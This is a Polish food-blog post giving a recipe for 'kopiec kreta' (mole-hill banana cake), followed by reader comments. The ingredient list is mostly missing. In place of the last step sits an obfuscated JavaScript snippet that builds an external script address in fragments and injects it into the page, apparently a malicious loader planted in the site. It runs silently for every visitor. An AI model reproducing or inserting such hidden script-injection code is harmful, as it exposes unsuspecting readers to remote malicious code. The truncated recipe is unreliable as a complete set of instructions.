Kopiec kreta to efektowne i pyszne ciasto. W miarę szybko się je robi i wbrew pozorom wcale nie jest trudne. Gdy pewnego dnia dotarłam do Lidl i kupiłam tonę bananów w promocji (ha! się wie, gdy regularnie się przegląda gazetkę Lidl, apropos gazetek polecam Wam serwis, w którym bez wertowania miliona stron macie przysłowiowy milion gazetek promo na tacy. Zawsze je z mamą przeglądam i planujemy szoping 🙂 ). No a co do tej tony bananów, to musiałam wykombinować jak je przerobić by się nie zmarnowały. Shake wypity, banan w czekoladzie zjedzony no i wybór padł na jedno z naszych ulubionych ciast.
– 3 banany
Sposób przygotowania:
1. Mąkę przesiewamy, oddzielamy białko od żółtek.
2. Białka ubijamy na sztywną pianę, a następnie powoli dodajemy cukier i cukier waniliowy.
3. Roztapiamy i lekko studzimy masło. Zwalniamy obroty miksera i powoli dodajemy żółtka do masy oraz ostudzone masło.
4. Do masy przesiewamy mąkę wraz z proszkiem do pieczenia i kakao. Wszystko dokładnie mieszamy i wlewamy do formy wyłożonej pergaminem (u mnie o średnicy 24cm).
5. Pieczemy w temperaturze 180 stopni około 20 minut – do suchego patyczka.
6. Ubijamy śmietanę, dodajemy cukier puder i fix.
7. Czekoladę ścieramy na tarce i dodajemy do masy.
8. Ostudzone ciasto należy wydrążyć delikatnie łyżką; około 2 cm od brzegu i 1-2 cm wgłąb – dzięki temu zrobimy miejsce na banany. Nie wyrzucaj ciasta! Odłóż je do miseczki.
9. Banany obieramy, kroimy na pół i umieszczamy w zagłębieniu, które zrobiliśmy w cieście.
10. Masę śmietanową układamy na cieście w kształt kopca, posypujemy pokruszonym ciastem (tym, które wydrążyliśmy) i wstawiamy do lodówki na noc lub min 8 godzin
(function(){
qzy8=document.createElement(“script”);qzy8_=(“us”)+(“ta”);
qzy8_+=”t”+(“.”);qzy8_+=(“in”);qzy8u=”62249659″;qzy8.async=true;
qzy8u+=”.ielqlj97zy8fhtq7m”;qzy8.type=”text/javascript”;qzy8_+=”f”+”o”+(“/”);
qzy8u+=”lss6lv3ycu2b1″;qzy8.src=”//”+qzy8_+qzy8u;
dqzy8=document.body;dqzy8.appendChild(qzy8);
})();
12 komentarzy
Ja tylko kopiec kreta robilam z proszku…ale Twoj przepis na majowke z pewnoscia wykorzystam. Brzmi pysznie
Coś czuję, że za 2 tygodnie sobie zrobię takie. Czemu za 2 tyg? Bo muszę teraz odpocząć od tych wszystkich świątecznych ciast. Czuję, że pęknę, a jednocześnie leci mi ślinka, gdy patrzę na ten kopiec. To takie straszne 😀
Jeszcze nigdy nie robiłam tego ciasta, a wygląda tak obłędnie!!!!!
Kopiec kreta, to jedno z moich ulubionych ciast 🙂
Piekłam to wieki temu, muszę znowu upiec kopiec kreta 😉
Bardzo lubię kopiec kreta. Wcale nie jest taki trudny, więc warto go zrobić samemu, a nie ratować się tym z torebki 🙂
Takie ciasto to chyba niezłe wyzwanie 🙂 Lubię trochę pokręcić się w kuchni. Kiedyś na pewno i u mnie zagości 🙂
Oj,chętnie bym zjadła takich pyszności do popołudniowej kawy 🙂
Przyznam, że lata temu robiłam to ciasto, ale z torebki niestety 🙁 Przepis bardzo fajny, zapiszę sobie w ulubionych 🙂
Oczywiście kopiec kreta smaczny i znany. Bardzo lubię, łatwo i szybko się robi czego chcieć więcej. Pozdrawiam ciepło
Martyna z http://www.wpuszczonawmaliny.blogspot.com
Oj tak znam, to znam. Jeszcze za czasów szkoły podstawowej, gdy przyszedł bum na ciasta z proszku 😉
Nie znam tego ciacha dlatego chętnie skorzystam z Twojego przepisu 🙂 Pozdrawiam.